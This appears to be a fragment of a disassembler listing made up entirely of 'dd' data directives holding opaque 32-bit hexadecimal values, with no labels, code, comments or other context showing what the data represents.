		dd 5C4E162h, 48800090h,	4F002B33h, 0CDBD5CC6h, 8B5E6Ah
		dd 734ED380h, 8A60E62Ch, 3AC6C400h, 370C9EADh, 0B81F5136h
		dd 0A12A81Ch, 26B3E14h,	382C40BCh, 2415FDDFh, 0F4E2F1h
		dd 0E52B5C92h, 308B528Eh, 2319B607h, 0A70076F9h, 11083117h
		dd 0FF91B5h, 9DD0E0Ah, 1C6B1902h, 0F82EA5E8h, 8B004459h
		dd 28FA98F2h, 0C77A52h,	6CBB1AACh, 5E1069CDh, 4D76E570h
		dd 0FF01287Ch, 9A1C3BC5h, 542079ABh, 1102002Eh,	0D946260Ah
		dd 9F14DD50h, 24889E34h, 160094E3h, 0C07994BCh,	9AED3DB6h
		dd 456FF21Eh, 802D866Ah, 2ADD9F24h, 9940AB00h, 81BAB0AAh
		dd 86BC00ADh, 0C00B4E24h, 0A200D465h, 4D337A5Ah, 0F065B82h
		dd 54A8A975h, 9E70EFC2h, 50A54C80h, 0F1B8E792h,	7FC40700h
		dd 151B4DE4h, 385F3FCDh, 985BD100h, 0D96C17B0h,	8C9EB300h
		dd 949C750h, 7E192CCFh,	0D132024Ch, 48408DC3h, 9B0F6A3Ch
		dd 0C0606E5Eh, 0F4C55841h, 0A4AF01A3h, 44017288h, 2848D846h
		dd 1B1E4C00h, 563CDF25h, 8E6E009Fh, 7A76E0BFh, 8500A9F8h
		dd 0D6D4B875h, 0F810441h, 9BFA6E6Dh, 0AE131E60h, 604CDD77h
		dd 0F492003Ch, 6E10D76Ah, 0B9E7004Eh, 1DA1D6E4h, 7D7D3790h
		dd 0D2D5C300h, 9C93E2CAh, 0E49100EFh, 0DA7C87BDh, 0ED58A351h
		dd 80BF008Dh, 2ACDAAA5h, 5C9F4894h, 355FAE09h, 60F4C607h
		dd 6E79B4FBh, 0E8122728h, 3DCF6C09h, 8EEC0025h,	0EB7B1h
		dd 4A51F803h, 0D441FC23h, 0B257DA26h, 46409F1Eh, 0FE661EDh
		dd 0F2371F19h, 479AC284h, 0A1872E9Bh, 76810F6h,	7FE00295h
		dd 2600B492h, 0AEB1F78h, 61290Ch, 7631CB5Ch, 492BB5D5h
		dd 5E11D904h, 2180A24Dh, 3FCF95Fh, 0CFDB907Dh, 280079EAh
		dd 0C31220E8h, 2682CC98h, 7CC801h, 0F468789Eh, 5F00AB16h
		dd 0F6C61AD7h, 98D2DEACh, 94EA054h, 86C3001Eh, 0A3227B14h
		dd 4E00E18Dh, 3B994964h, 1E7CC86Ah, 806939FDh, 0B3E381A8h
		dd 0B4E67D12h, 0CACF3F04h, 3D85B894h, 2C383C53h, 0F79F1733h
		dd 0A3F10046h, 0E6E2856Bh, 0F6F36F00h, 0DD5BAD13h, 19E7543h
		dd 0B087415Ch, 0C1E721B5h, 6F28308Dh, 65D3DE1Dh, 0E300CD56h
		dd 8A3F627h, 63460042h,	0ECE3D0E1h, 41007077h, 117BD234h
		dd 3F93D5Ah, 0D0BF930Bh, 69D8C89Fh, 0F6E07ADDh,	9E285801h
		dd 0CB7D9075h, 0B83424h, 4A5B196Ah, 108F92EAh, 0B5809499h
		dd 94630AA7h, 5247EEEDh, 1457D07Ah, 93425801h, 0F0AFB248h
		dd 6703AB8Bh, 55F43EF8h, 0A618F045h, 438100B4h,	2919AA05h
		dd 0D3008C49h, 6C911B33h, 7A5ED27h, 5A3F3797h, 1C31A054h
		dd 0A47AAB14h, 168AF59h, 0E4DA36E3h, 1080CF7Dh,	0F3BD5BFCh
		dd 4838AD37h, 0D5D028C9h, 820FF603h, 4CD09BCh, 0CC8C5428h
		dd 0A3C9019h, 4F8788Dh,	1011E098h, 0CE00A6B2h, 0A2D667DFh
		dd 0A90292CCh, 4B59CAC3h, 5A948044h, 7F2C872h, 836232C0h
		dd 65EB3071h, 8A59CCBAh, 3088455Ch, 7F78055Ch, 77564400h
		dd 49F516B2h, 0A3D60A2Dh, 609C6EBAh, 4FE01E71h,	16C0A900h
		dd 17B4F2BFh, 0A48E004Bh, 6894D54Ah, 7C002E1Fh,	0AFEABD61h
		dd 5CBE5h, 5CEC2F0Dh, 8ED7DCC4h, 8CA9CC99h, 0AF710800h
		dd 0E3F8F2h, 784A99E1h,	50CC7C15h, 78945224h, 0AA76B50Ch
		dd 1F8E14ABh, 3D38813h,	0D322A7B0h, 61DC85A0h, 92583158h
		dd 0E0E85854h, 2D6B643h, 0BA6BF63Fh, 13C0A4B3h,	0A7E2F48Dh
		dd 0FB612A60h, 4AEE5A6h, 11FF4A18h, 43D8C03Bh, 0CC00DB1Dh
		dd 124E3CD7h, 79C40A4Bh, 2F260056h, 0EBB0FD33h,	8E0EEC06h
		dd 0AEDF3105h, 0F8C5A080h, 7545998h, 0AF7E3462h, 0F601815Fh
		dd 34202115h, 5309F3B0h, 6B05Ch, 3880DD0h, 9C040029h, 0C2667815h
		dd 0C0042E50h, 7E1E5FA7h, 1D3DA3C0h, 94A00E7h, 0E089528Dh
		dd 7500FAE5h, 0C3B76929h, 98E326F6h, 55F007C2h,	3750D3D4h
		dd 35EEB16Dh, 9131FC47h, 1705DB01h, 7D2B1812h, 0BFBCFCh
		dd 1513D3EFh, 0FF55D5B6h, 82FA9439h, 2E885D86h,	0F94E223h
		dd 0E3570093h, 17ED39h,	0D57434BDh, 0F9409D04h,	36224B0Ch
		dd 0A89624h, 0ED638916h, 8FFDE652h, 1BE37609h, 62D42F1Fh
		dd 0A0FB43B7h, 2FF4490Ch, 0C4D8000Bh, 0AEE68B12h, 3F7E510Ah
		dd 8C831B2Eh, 87C87C80h, 0B531AF6h, 76FC4086h, 0F8601432h
		dd 0C0002F30h, 4D440D85h, 3860ACF3h, 871D14E6h,	53914008h
		dd 0DE6C68ABh, 0C1902F0Bh, 0A1892F6h, 0D61D844Ch, 5F0B12B8h
		dd 0E2264400h, 2C7794C5h, 922963h, 55998182h, 0CD00B1A7h
		dd 8ACF57ECh, 0E62C1008h, 0D68300D0h, 0B1CCFC6Fh, 9407CD78h
		dd 8C025A34h, 163641F1h, 1145E8h, 1312B9BEh, 0DA077726h
		dd 0B089ED00h, 0A84FE12Ch, 2A2138E8h, 13EE4980h, 261876BBh
		dd 3073BF01h, 23419FF0h, 1F9525C0h, 80BBEEE8h, 1153BCA3h
		dd 4A00E563h, 2289CA9Eh, 71B080DEh, 0B4D900E8h,	1A9C49E7h
		dd 33F6530h, 20198097h,	0C3E2C8E3h, 5E6C012Fh, 0B54177E4h
		dd 3040CE8Fh
		dd 0FDFE5A48h, 93CE2700h, 0F7110A50h, 955409E8h, 5B07B52Fh
		dd 0DE20FF73h, 84803CFBh, 0F3520103h, 88B9E3C6h, 3E58D1Dh
		dd 0DD340F62h, 8876B2F1h, 0C777EB00h, 0D951E858h, 1A3600F3h
		dd 8C7C307Ah, 80AE20BDh, 22BF2B00h, 58DE429Dh, 81280099h
		dd 0E914697Fh, 3E265FDCh, 79014E31h, 0E52736BCh, 4C65F4D0h
		dd 7D0753CDh, 2094EFAAh, 0D01F7B6Fh, 659AF8C0h,	191E2B9h
		dd 6357340Ch, 70F9486Dh, 0A100D2F5h, 4A338918h,	0DE43ECh
		dd 460BB687h, 9217EFC5h, 0D8142A03h, 88831AC7h,	3CA872E7h
		dd 0C200F539h, 730B33BBh, 700E822Ah, 604DB70Eh,	95575CDCh
		dd 0C27F1FCCh, 78E780C9h, 204B80AFh, 0F8BDD800h, 21EB74CBh
		dd 9C483C23h, 69270E80h, 0FC706F2Fh, 0E575310Eh, 9FA080D0h
		dd 0B82DA9h, 0EEDD2397h, 0B1467DC2h, 6B0BAB00h,	419CAC12h
		dd 93BE0027h, 7C6E92DEh, 0D8EB1397h, 0DB003BABh, 0B1CBD87Eh
		dd 7F02097Ah, 3D3F00BFh, 18C0CC47h, 87F2927h, 0A410300Bh
		dd 4282019Eh, 0E040B58Ah, 0CFCE30Fh, 0D1576FB0h, 3A24E5D1h
		dd 8A0A91BEh, 0DB0088E2h, 0DA27B673h, 36DFC05h,	21B31E19h
		dd 0A5D012FDh, 0A3583DC2h, 85490021h, 0D4724547h, 0D2E907D9h
		dd 0F0FEF6D6h, 0C15D1370h, 9A74A478h, 3CA2F00h,	5450EC01h
		dd 0CCF485h, 997F335Dh,	24510710h, 608AD81Fh, 0B0DF0380h
		dd 247BF53Dh, 803423C6h, 13AFA6A9h, 0C501F8DBh,	0B9E68176h
		dd 93F0989Ah, 0D6CD0017h, 3AEDAD46h, 23E44CA8h,	0BEA0E100h
		dd 202BD5C6h, 9FE93AA3h, 0D9F0E000h, 9D6D01F5h,	0A29C8800h
		dd 7DBFF818h, 0F14F0016h, 91ECB3AAh, 6C009611h,	0A3982C9Eh
		dd 7F90E4EBh, 44FD00DBh, 0AB3A5477h, 0E8244F87h, 79803849h
		dd 0B43745D7h, 0B3A729D6h, 6AF9C0C0h, 603F449Bh, 0A15801D2h
		dd 73C21A5h, 0A94130h, 0ABEEB9EBh, 0BE2891B5h, 9A4FBA00h
		dd 0DE7BEA60h, 20A3FD9h, 6C75E007h, 0B2D160ACh,	130117BCh
		dd 23A11B9Eh, 0D5205DFDh, 1496007Eh, 0F8F1A0F6h, 9402BEF7h
		dd 0F03C843Bh, 8CCC48E0h, 27870062h, 1ECE2077h,	2A003F4Eh
		dd 5A0F814Bh, 1E91376h,	3AA975EAh, 80BDCD99h, 0E055439h
		dd 23CC36Dh, 0EA7CE084h, 50649555h, 0C4C20300h,	88E52874h
		dd 8C6700B1h, 64C1544Dh, 210FDE15h, 72756B66h, 783EB807h
		dd 7950009Eh, 1982316h,	0DAF7A0CCh, 0D459766Eh,	0B104D5C9h
		dd 8875C021h, 0F3384DC0h, 159001CAh, 723AC04h, 0EE0EE2Dh
		dd 370E4931h, 8F4A6Ah, 0A0E321DBh, 81233CB3h, 42771380h
		dd 3693C967h, 3190C360h, 12B60B7h, 2759344Ch, 80E88E52h
		dd 1F5C5738h, 74A8AE94h, 0AD7E1D9Dh, 36A58056h,	0A9D59020h
		dd 660DFA00h, 91BD55AAh, 18544CBAh, 7AEBA1C0h, 5A00E185h
		dd 976B0188h, 38FF94FAh, 7C0179D6h, 872F4392h, 1453E06Ch
		dd 15F20BFCh, 0D1C5AD00h, 76338BA5h, 0CC41289h,	0DBF30038h
		dd 5B483FFDh, 2ACBDE13h, 204E2840h, 3373B7Fh, 0DC1AC1E4h
		dd 3F324FAh, 8DFCF087h,	1E067468h, 0C28B01ABh, 1AE200F8h
		dd 0FD043DD1h, 3A00654Eh, 0D4A19352h, 0FE15D783h, 79A000BBh
		dd 0A6334AACh, 0DA5ED20Fh, 3A4807ECh, 57B52E00h, 0CDCE7106h
		dd 1076C20Fh, 0CA35C331h, 0A71CF05Ch, 26AFA6Dh,	0E0B9A6FFh
		dd 0E848D64Bh, 0EA48ED23h, 7EAD078Ch, 0E396436Fh, 9AEE2Ah
		dd 78D44DB6h, 6B0C77DCh, 0C472BE00h, 0DE077569h, 95F09DA3h
		dd 1F922B1Dh, 0D68E120Bh, 0A1CB03D9h, 86FD4A11h, 5B001EBDh
		dd 15E06893h, 0FCC46Fh,	0B73AAB5Ch, 243F0E25h, 3841C030h
		dd 9AA45h, 0FBEF7037h, 9B21E1B4h, 52A04A01h, 0B2A91D65h
		dd 9222C60h, 9AF41230h,	5CA28400h, 8A00B96Eh, 0FAEFB271h
		dd 0AC2668h, 0E59E8C44h, 402935EBh, 9174CA00h, 6899BBDFh
		dd 591E0B03h, 2804B58Dh, 0B3C0C030h, 0C524982Fh, 5702648Fh
		dd 48EF4EE2h, 3D74BC98h, 0D104F38Dh, 8714472Bh,	0E46EA0F4h
		dd 60FC4140h, 9336C500h, 4C325458h, 3A2500B1h, 1772D5A5h
		dd 0CCE115D9h, 0A8004770h, 5A0B52DFh, 3FDA6Dh, 0CF0F5BDh
		dd 14AD08B0h, 0A9021700h, 0C4129BDEh, 14390F7h,	27C8DF66h
		dd 0E005ECACh, 0D83A588Bh, 0B5F209E6h, 303C2979h, 28CAC110h
		dd 0F0EB0Bh, 6B7236B6h,	75A1FAF7h, 0F926E200h, 860EE56Fh
		dd 0B1B21F6Ch, 0CBC640E0h, 3DA3BCA6h, 46F8A90Ah, 6E8080B9h
		dd 890ADB4Ah, 2CA6C2h, 0D244A33Eh, 0B2299247h, 2F156300h
		dd 0F05F7A80h, 2A760213h, 530472EDh, 4136BF80h,	571E27DEh
		dd 54403CF2h, 0F638BE8Bh, 9D2F1333h, 48F460A8h,	28B10CBAh
		dd 744F3000h, 0A26278h,	0A4BC322Bh, 0DCB1C75Dh,	3FE3BE07h
		dd 8720D8B4h, 0B8E2F809h, 0EF4D0085h, 8A792334h, 9E26248Bh
		dd 10090ABh, 0BBF7D0E2h, 0D11D00DCh, 0C4321EEh,	0A358D6A5h
		dd 0F58500BFh, 7519F689h, 1E060716h, 11BB175Bh,	21AD22C2h
		dd 0D32C64F8h, 73FB9A0Bh, 5FBC80E0h, 8B1ED6h, 4AE52187h
		dd 0A9A093E4h, 0F76EA70Fh, 0DA7D8090h, 1739CE9Ch, 5EE7763Fh
		dd 0F8FB40E0h, 0A434E63Ch, 21365A01h, 8A49D2D7h, 3073460h
		dd 48ECAB25h, 8FC07155h, 0BC01F805h, 0E853214Ch, 15708542h
		dd 87F7001Ah, 0EE09178h, 49003E7Bh, 2EC81FB7h, 770A3086h
		dd 0F1650094h, 5E31F812h, 0BE00261Ch, 9CC35C3Ah, 7C2215B9h
		dd 600B0762h, 405B2059h, 4BAF4649h, 0AEB50D05h,	0A0C22808h
		dd 0F0786B7Ch, 24447BEDh, 0EA29A2h, 5186820Dh, 9C00A778h
		dd 0F9E8C350h, 1254B335h, 0A19E17D6h, 0B6A9D0DDh, 8FCCD700h
		dd 0E1A484F6h, 78200088h, 0E39AB034h, 0F0F18702h, 33002AFAh
		dd 38FFDE96h, 41042B4h,	56CEC239h, 958690CAh, 6C0C8144h
		dd 586DB6CFh, 0D0DD0BE4h, 3F00557Fh, 0B7CC4028h, 0EE3FF3F8h
		dd 3D91803Ah, 9094FECEh, 81473F95h, 4D9C4080h, 0BFDB7429h
		dd 18050DECh, 7ADDF0F4h, 882DE40Ch, 4980A01Ch, 0CEF6C5h
		dd 0A69418C9h, 8417E102h, 28B0C200h, 14191C9Eh,	0A25700F3h
		dd 0DDE4DFAh, 7C0F5EACh, 0A0965FCEh, 3A86AFA1h,	0AEE60257h
		dd 9048E24Ch, 0BFF87FC3h, 53054F7Bh, 37D21043h,	0A40B00CAh
		dd 74A06F28h, 974C4644h, 19D97701h, 4D7955A5h, 0F4905681h
		dd 0DC9E0172h, 893D0442h, 32ED00FDh, 431E3B34h,	9853CCAh
		dd 0DA03CE80h, 2F3A1316h, 0BC21C22Eh, 0DA580424h, 0F347133Dh
		dd 0C098342Eh, 5C1053FCh, 64B2C917h, 997D1020h,	213E07D9h
		dd 50FC1529h, 5916FDACh, 2FE1A000h, 0AEEF68E7h,	0EB3400AFh
		dd 3C7306B2h, 7D77490Ch, 0D80A050Eh, 0C868C4C9h, 14B498C0h
		dd 6EC200DFh, 21350D25h, 13F7EBEh, 41D603AAh, 0D8D21697h
		dd 3A1082h, 4FEB252Bh, 1C9A08DCh, 7D4BD4FDh, 39ACBC00h
		dd 0B661185Dh, 8E4400DBh, 0AEC9E769h, 0FE01AB95h, 0A1B72417h
		dd 40E653B8h, 0EF36FAh,	0E386C3C7h, 18EB732Eh, 0C8FB7700h
		dd 5323BA93h, 552A035Fh, 80648DD5h, 0A0A26FC8h,	8CAC5A0Ch
		dd 0EEF5893h, 78C99F4Ch, 805CA340h, 0CF3A0A65h,	0C53E80E8h
		dd 90625E19h, 0B2F91CB1h, 8378001Ah, 0E4061B63h, 9E0F6603h
		dd 0A82E4171h, 273E54h,	0D3F2C010h, 24A9A5B7h, 310089BEh
		dd 0A6FBC1C9h, 457F001Ch, 0F5306FF6h, 0F1EAA8E5h, 6638A00h
		dd 411B6D74h, 35270188h, 331DDAC3h, 0AFA07BACh,	52B80692h
		dd 0D0BA7DADh, 0C006D72h, 0AA406EF9h, 58D4D612h, 0C003658Bh
		dd 800FF149h, 1A912800h, 0D14BC935h, 66570578h,	36CA8CADh
		dd 0D1078978h, 865B306Eh
		dd 9A6C3D70h, 7A783CA2h, 88130203h, 46813826h, 0CF41808Fh
		dd 0E5F40765h, 0C02230BAh, 89964E48h, 8BE2AF00h, 0B54C8259h
		dd 0CAFA5C07h, 0BAF81830h, 0B000D10Dh, 0A2321D21h, 7C1B37DCh
		dd 0B5BD03C0h, 0DF2A8A59h, 9AE8C8D8h, 0F0C3D00h, 0D5830D64h
		dd 3D704C5Eh, 30DAB800h, 0EEB0DCADh, 188FE524h,	827A58h
		dd 0EBC04423h, 2B5E9781h, 607A647Fh, 0F653F200h, 9406C32Eh
		dd 752D0031h, 0FE723B84h, 9D00EBC7h, 0E14EF4B3h, 7609ACh
		dd 0C630B13Ch, 5B3FBC68h, 0E4801E00h, 0ABECCCA5h, 7D050065h
		dd 4378F4AAh, 400E4F2Eh, 67710DE7h, 0E5A09119h,	32AF535h
		dd 7914B87Ch, 3F0A3EEh,	0CDEAE3D2h, 4AA72200h, 0C11A9653h
		dd 9D8CC0EBh, 2FF516C0h, 23E2E500h, 0BB46AF8Fh,	0C2910002h
		dd 0B7FE949Eh, 750EC697h, 0A0331510h, 0C9FCD439h, 0E9850002h
		dd 0ADE07051h, 9601C187h, 0CC97013Ch, 0EEC07AE5h, 7557A29h
		dd 5EF57462h, 573ED0F1h, 0AA7E14E0h, 41928B00h,	0EA3F27A4h
		dd 21E6DEh, 7EA35E59h, 87B1F5BCh, 0F2BF580Fh, 5C2098Fh
		dd 0F7C5CC08h, 4A122805h, 0B684BC00h, 196F3C1h,	7678FA7Ch
		dd 0D240D8C2h, 8E02D89Ch, 0DCF9F307h, 0C2EDE0CFh, 8FC3007Bh
		dd 0D7F11D3h, 820090DAh, 0A8889FB9h, 789EC77Eh,	0B15B0044h
		dd 0A9AA5C56h, 0EA90467Bh, 0FCE62B0Fh, 0CCFE8245h, 5AC46130h
		dd 7E53E8h, 0B61F353Ch,	222AA7F1h, 9DA763Fh, 26BDCA9h
		dd 8017CB7Ch, 5675E1A8h, 88E0023h, 14B3DAC6h, 2D601C07h
		dd 0DB604196h, 0CB010031h, 0DC695D40h, 811C758Ch, 8680B5D1h
		dd 831FD5F3h, 0E8A86087h, 0DF91EAD6h, 0BFC79F14h, 0ED9309F4h
		dd 2E6D8668h, 79C90096h, 3DB93777h, 3F1CA003h, 1E475A1Ah
		dd 0D1002353h, 153342h,	8AF2B2DAh, 0B5EE856Eh, 94C68E28h
		dd 96F4AC00h, 6933AEFDh, 3757000Bh, 11C1ECBBh, 0D407C7A6h
		dd 0B9E75953h, 2F04D560h, 0D2DE0681h, 99AA0DABh, 0ECA1E484h
		dd 3F055A8h, 2850C1DCh,	0D3753D80h, 33020F78h, 0F1F30983h
		dd 0BE6CC0D0h, 827891h,	2AA61578h, 0E7D5B7F8h, 84787950h
		dd 0D4ECC000h, 6FEC273h, 0EF6134Bh, 0EDE80353h,	0B3F35A90h
		dd 0D75855F0h, 0E7107401h, 7614D96Bh, 182CC34h,	15A763E9h
		dd 0D0327B35h, 0DC0310D4h, 74251885h, 55ECF19Dh, 50006032h
		dd 0A3AB16A9h, 4400FCFDh, 92BB9B8Fh, 0C1A760h, 0AF7CADCBh
		dd 0E5EAEF70h, 5C661C84h, 0BC66DBh, 0DC2718C4h,	88A0E7A6h
		dd 40E64551h, 0BC227E00h, 0DA16CD63h, 944B083h,	25F42D70h
		dd 6B2A6C20h, 32007ACCh, 7E4D90C9h, 1FE8CB3Ah, 0C527CF6Dh
		dd 80D00CDAh, 90DF109Eh, 61072000h, 1DE6038Fh, 49EB6064h
		dd 0A09C7B1Ah, 4433CB26h, 244C2Bh, 69033C80h, 50B715E0h
		dd 2294CDh, 5AC5FB9Fh, 4B2BE19Ah, 1B4CAB03h, 0C0400AB2h
		dd 43BBAAh, 6A96D0EAh, 0B007B680h, 2E604200h, 28CF8758h
		dd 24A53FA9h, 0EB8A8180h, 0D48649DBh, 5ACD3D01h, 78574799h
		dd 1B1EDCh, 0B5E54505h,	1704F1ADh, 0EB74ED00h, 0E6882EB6h
		dd 663500C2h, 323786D9h, 0A000EFD3h, 9F48386Bh,	0FB36DF65h
		dd 9944718Eh, 0BBC4B0C4h, 9F9205C0h, 0CE480001h, 1567D574h
		dd 5B004A1Ch, 442965E2h, 0D5211E0h, 2C0254B8h, 72726010h
		dd 33363Ah, 3ADE5B56h, 0BFACC4Ch, 0E826F9A9h, 0BC195480h
		dd 0A761C4E5h, 0A4459CE0h, 0D623AE00h, 57F19300h, 2B8D1C97h
		dd 14EB09B9h, 60F03B6h,	4180E560h, 36756638h, 6898BA04h
		dd 0E1C01E61h, 425223h,	70249946h, 0A25F3DFEh, 0E203A5ECh
		dd 710FDA10h, 0D27129E8h, 9A48007Ch, 77ECE6B1h,	77B49C25h
		dd 0B9874B60h, 40085F0h, 0AA986EFAh, 303C31h, 0E13E604Ah
		dd 10B2E970h, 0EB626901h, 9E77172Eh, 26E891E9h,	0CCFC42h
		dd 70A821C8h, 19C2DA5Ah, 0B7A64500h, 3BC49FBAh,	407703BBh
		dd 0DB09F91Ch, 0B2567A90h, 65006D7Dh, 2C64B7E6h, 0B126745h
		dd 0C77F8791h, 0B81DEC82h, 0AF0AAE40h, 9C00C3ECh, 7358A3DAh
		dd 1EF4B263h, 80217067h, 85EA05E5h, 1B0E6F01h, 0E02F6511h
		dd 0D7D5B07h, 61809EEh,	3C80311Eh, 0E15A82A5h, 6F436501h
		dd 0E93E622h, 5080CACCh, 56067h, 473BF4Fh, 62C1F3F0h, 2F8E9200h
		dd 419F20B2h, 677CC2h, 95C4A435h, 0B616EA96h, 614C48h
		dd 472E2283h, 591DFCh, 0A493C7E1h, 7D8F3755h, 2567F700h
		dd 0DB3A4BC4h, 0E6C3005Ah, 408D6C3Eh, 7B007F9Bh, 81009ECh
		dd 0BF07FAh, 60F17277h,	9DE6B381h, 0CF7A0C00h, 0E261D01h
		dd 0A64D0052h, 0DCF2DBD9h, 3400EBFFh, 150BF99Eh, 77383Fh
		dd 39C49C56h, 4BA1C380h, 0D2935500h, 41E66686h,	4FE0003Fh
		dd 0A48E50C8h, 0F10FDB79h, 60BE3CBAh, 0C006DEFEh, 16BB1295h
		dd 0D2340071h, 464BAC08h, 3B79700Eh, 4C380096h,	3D3F7A93h
		dd 0CBBE15B3h, 31B78B00h, 775E7B92h, 6FFA7615h,	2ECB80F8h
		dd 52BF064Ah, 0B983CC20h, 0A9F00219h, 47003A57h, 346C3BCFh
		dd 0F46FA0h, 865136F7h,	6B817610h, 877FF23Dh, 5E2FDA39h
		dd 0CBE12150h, 20AC0768h, 50859419h, 0AD49DDBEh, 0E352C900h
		dd 4E768B28h, 0C088DEDEh, 0C6C114EEh, 6800E4BEh, 126CDAE8h
		dd 171BFB5Dh, 95A452h, 3E59D52h, 0B509C640h, 0DD42C85Bh
		dd 8723C802h, 0C46D1C41h, 0C01C05E9h, 50F25A4Dh, 0A5C9E146h
		dd 0C787AC40h, 4AF3001Ah, 36D4A914h, 6F00B68Fh,	0CB59A331h
		dd 7D535Ah, 7C1E6486h, 0D302F6D1h, 876A931Eh, 0C9BB01C2h
		dd 739CA4B6h, 5700688Bh, 0CD696746h, 1B019486h,	0D73509A4h
		dd 22C80E2Ch, 92AF0004h, 0F8E596D3h, 0A739E32Dh, 0B04D002Bh
		dd 0EA1EAA07h, 324400AEh, 21B53185h, 960017D8h,	0BCCD5B7Fh
		dd 94DCE6Ch, 0D0699CC6h, 3E3A6200h, 23001AC8h, 0BB77C224h
		dd 2885CD82h, 292A8B5h,	0ACF5D8E6h, 94800A4Dh, 9128A5CBh
		dd 0DC003492h, 178BE42Dh, 219831Bh, 3B8A31CCh, 1049AFC4h
		dd 0EF14287h, 2C18A0A0h, 20900190h, 0FD57BF00h,	264DCD8Eh
		dd 0D391000Fh, 0D6F14927h, 420AC455h, 0D02E8437h, 150CBA01h
		dd 9440A694h, 7831DA2Dh, 0F3C9070Ah, 0D356F7A2h, 6197CA4Fh
		dd 0EC8AB015h, 60981E5Dh, 0BD64FC80h, 0B62E0C00h, 0F4AB3A5Eh
		dd 0C8944CA2h, 6F8EB00h, 0F6154D4Fh, 62006DEEh,	0C53FEEC9h
		dd 5811949Dh, 38001069h, 0C7A1F992h, 0B40161A9h, 7047DE7Fh
		dd 0EC409DBAh, 3F9C2F12h, 0E8801033h, 35B34CCBh, 4F0E44AAh
		dd 0D2DC9214h, 50193023h, 422DC99h, 72068D4Ch, 0B4389064h
		dd 4E01E74Dh, 0E63A7AC8h, 0F420F097h, 0B0540FBFh, 0E0A04963h
		dd 46875005h, 2D1B820Eh, 0A706E0C5h, 1DF42A0Dh,	8F5DAF8Dh
		dd 58C280CFh, 4D612586h, 5C402502h, 3F2A1B98h, 1207D07Fh
		dd 0D393FA5Bh, 20F3EE5Fh, 6218B4EFh, 674046Bh, 0D5FAA655h
		dd 8BB00000h, 76A1DF9h,	15641302h, 0B26B7C41h, 80BC8974h
		dd 679F4D20h, 111E3C4Eh, 7D04007Bh, 7121BDEBh, 4D004A62h
		dd 0FA1A2839h, 0E54B958h, 7EF4BA81h, 0A5D8D480h, 8A014672h
		dd 6FC5622Fh, 70800D9Ah, 3DE95FFEh, 7F48DB80h, 58E00F10h
		dd 400820CCh, 4F6815h, 2346B87Dh, 8A9F0F8Ch, 3CD5AD02h
		dd 0C4CB4B95h, 0E5210158h, 0D6463B01h, 0CCB02106h, 9401A7EAh
		dd 45305E1Dh, 0A861EC50h, 36864887h, 71E0A117h,	0A94260B4h
		dd 1E7BE3Eh, 0C36282F0h, 50402732h, 44A702B6h, 0D8E9E9C4h
		dd 8F230868h, 0BAC01h, 0D09B7731h, 0A0035053h, 0CCCBEABDh
		dd 5A88885Fh
		dd 8EC498A1h, 81A200C4h, 8C1AE416h, 9600CDD5h, 24A97CFEh
		dd 6744B3h, 19107D4Ch, 0B091B58Fh, 0E4013Ah, 558620A1h
		dd 1A691Bh, 0EE8CA87Bh,	0E3BE64Ah, 14938202h, 0B21B310Dh
		dd 0A60045E4h, 0F0205Ch, 0B6BCD81Ah, 0E5AFF0E2h, 0BE00C3FCh
		dd 20AD335h, 90C6A4h, 0F747EA9Ah, 0D027F1CCh, 0FD2F38C0h
		dd 9653CDh, 0FF947865h,	50EEADAh, 0B04C361Dh, 7A989F3Bh
		dd 7B64EC0h, 90806C2h, 0CB64D14Fh, 8E49C0A5h, 77570344h
		dd 0C28CB725h, 0C080442Eh, 0D2117331h, 2924E96Eh, 182CD099h
		dd 1A21B100h, 0E0A793EEh, 2B0F007Ah, 0F419E423h, 0DC048873h
		dd 0F0FF158Bh, 0A27CC0C1h, 92945E0h, 51D8C625h,	0DFE99980h
		dd 4B002076h, 60CE8F84h, 4C7B3A10h, 48536822h, 9125A981h
		dd 558475F5h, 0C99C809Ch, 0DF5C14C4h, 64C0195h,	0C5955141h
		dd 42DC20h, 0BFA30267h,	0BA1D3CE0h, 0CD273800h,	0D175DEBDh
		dd 0A615038Ah, 0F684EA78h, 0A8049980h, 74839703h, 0F5AC4996h
		dd 4434CBC0h, 6F0D0056h, 8FEA51C5h, 0D358237Eh,	142424D8h
		dd 4A45FCA6h, 0E69FB828h, 8E480093h, 7AE7C946h,	3C00F096h
		dd 0CF1E4550h, 326731Ch, 36BBB6DFh, 9CF9B94Ah, 19F8C45Ch
		dd 0D8429A00h, 0A0639091h, 731B1F33h, 0D50F007Ch, 469A55F1h
		dd 42CF6D1Eh, 9C77AFC3h, 0F389F888h, 4A0E1EF9h,	0D0EAC03Eh
		dd 0F2D89BE5h, 823D1A00h, 0B8D65710h, 11790105h, 34E36D20h
		dd 3808EC24h, 4BE7AF00h, 0EAD17E3Ch, 1C7572EDh,	40EE03B9h
		dd 434DE10h, 230078ABh,	724897D1h, 2C81EAEDh, 0FFB2F9h
		dd 3F8DDB0Bh, 0D9009183h, 0AD61035Dh, 0FDCC4h, 4F2D795Fh
		dd 3827649Fh, 13FEB100h, 826F8522h, 0F8A00EAh, 0A77366ACh
		dd 0F0009BC5h, 14F262C7h, 1539ABBh, 1E75F898h, 5069FE07h
		dd 96B41F0Ch, 28194B00h, 203AEDF1h, 0E92101E5h,	0C8AFE3A8h
		dd 78CDF4D9h, 16014AFAh, 87BAF03Eh, 60F63944h, 0F387572h
		dd 0F65F6AA9h, 40344ACAh, 7AC611EBh, 0B5D4A0C2h, 0B393E09Fh
		dd 0C12000F8h, 0DF014547h, 503C797h, 9F54C8EEh,	0DA75D014h
		dd 330B81Ch, 0F9E9EADDh, 2A89C71h, 3501B836h, 8D98210Bh
		dd 9DC08EA3h, 0F1A1009Bh, 73D32B43h, 0AC007F60h, 38FC6E33h
		dd 0FEAE6Ah, 6FD8B981h,	0CB412B8h, 597F0A0Ah, 0FD0784F1h
		dd 8DA099CAh, 0FF9580h,	0D619DCD1h, 6AFA4E4h, 0A2363Ch
		dd 67DA2618h, 1D30CF1Bh, 3F4ECAh, 5083DB1Eh, 1C00B5BBh
		dd 0E18B257h, 0C65BD8h,	2CC9CC08h, 7939C4E2h, 4CA4E500h
		dd 5BC8C3A5h, 611C0012h, 2D10C97Ch, 5C300B0Eh, 0EAF720C4h
		dd 5E71809h, 0C88DB6EDh, 776BF200h, 4B32A328h, 0EFC23CC5h
		dd 8638820Fh, 63BE781h,	496FEC47h, 0FD06200h, 2414817Ah
		dd 0CC5F0025h, 0E30ACB22h, 0E901EBE7h, 0DA6B91Ah, 76C0F788h
		dd 0E25B00BDh, 58FB8F33h, 2448EDF0h, 46DEC080h,	1D03B76Ch
